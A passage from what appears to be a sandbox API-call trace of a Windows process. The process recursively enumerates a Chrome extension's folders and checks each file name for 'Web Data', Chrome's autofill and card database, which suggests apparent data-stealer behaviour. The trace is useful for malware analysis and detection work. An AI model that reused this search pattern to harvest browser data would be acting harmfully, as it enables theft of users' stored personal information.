Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc7f8 [0056.280] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.280] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.280] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.280] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.280] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.280] lstrcmpiA (lpString1=".", lpString2="4.2.5_0") returned -1 [0056.280] lstrcmpiA (lpString1="..", lpString2="4.2.5_0") returned -1 [0056.280] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned 113 [0056.280] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned 113 [0056.280] lstrlenA (lpString="\\") returned 1 [0056.281] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2deac8 [0056.281] lstrcpyA (in: lpString1=0x2deac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo" [0056.281] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\" [0056.281] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\") returned 114 [0056.281] lstrlenA (lpString="4.2.5_0") returned 7 [0056.281] LocalAlloc (uFlags=0x40, uBytes=0xfa) returned 0x2debc8 [0056.281] lstrcpyA (in: lpString1=0x2debc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\" [0056.281] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\", lpString2="4.2.5_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0" [0056.281] LocalFree (hMem=0x2deac8) returned 0x0 [0056.281] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0") returned 121 [0056.281] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0") returned 121 [0056.281] lstrlenA (lpString="\\*.*") returned 4 [0056.281] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x2decd0 [0056.281] lstrcpyA (in: lpString1=0x2decd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0" [0056.281] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\*.*" [0056.281] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.281] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.281] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.281] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.281] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.281] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.281] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0056.281] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.281] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.281] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.281] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0056.281] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0056.281] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0") returned 121 [0056.281] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0") returned 121 [0056.281] lstrlenA (lpString="\\") returned 1 [0056.281] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x2dedd8 [0056.281] lstrcpyA (in: lpString1=0x2dedd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0" [0056.281] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\" [0056.281] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\") returned 122 [0056.281] lstrlenA (lpString="_locales") returned 8 [0056.281] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2d9b88 [0056.281] lstrcpyA (in: lpString1=0x2d9b88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\" [0056.281] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.281] LocalFree (hMem=0x2dedd8) returned 0x0 [0056.281] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.281] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.281] lstrlenA (lpString="\\*.*") returned 4 [0056.281] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dedd8 [0056.281] lstrcpyA (in: lpString1=0x2dedd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.281] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\*.*" [0056.281] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.282] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.282] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.282] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.282] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.282] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.282] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0056.282] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0056.282] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.282] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.282] lstrlenA (lpString="\\") returned 1 [0056.282] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.282] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.282] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.282] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.282] lstrlenA (lpString="ar") returned 2 [0056.282] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.282] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.282] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar" [0056.282] LocalFree (hMem=0x2daca0) returned 0x0 [0056.282] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar") returned 133 [0056.282] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar") returned 133 [0056.282] lstrlenA (lpString="\\*.*") returned 4 [0056.282] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.282] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar" [0056.282] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar\\*.*" [0056.282] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.282] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.282] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.282] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.282] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.282] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.282] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.282] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.283] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.283] LocalFree (hMem=0x2daec0) returned 0x0 [0056.283] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.283] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.283] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0056.283] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0056.283] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.283] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.283] lstrlenA (lpString="\\") returned 1 [0056.283] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.283] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.283] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.283] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.283] lstrlenA (lpString="bg") returned 2 [0056.283] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.283] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.283] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg" [0056.283] LocalFree (hMem=0x2daca0) returned 0x0 [0056.283] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg") returned 133 [0056.283] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg") returned 133 [0056.283] lstrlenA (lpString="\\*.*") returned 4 [0056.283] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.283] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg" [0056.283] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg\\*.*" [0056.283] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.283] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.283] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.283] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.283] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.283] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.283] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.283] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.283] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.283] LocalFree (hMem=0x2daec0) returned 0x0 [0056.283] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.283] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.283] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0056.283] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0056.283] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.283] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.283] lstrlenA (lpString="\\") returned 1 [0056.283] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.283] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") 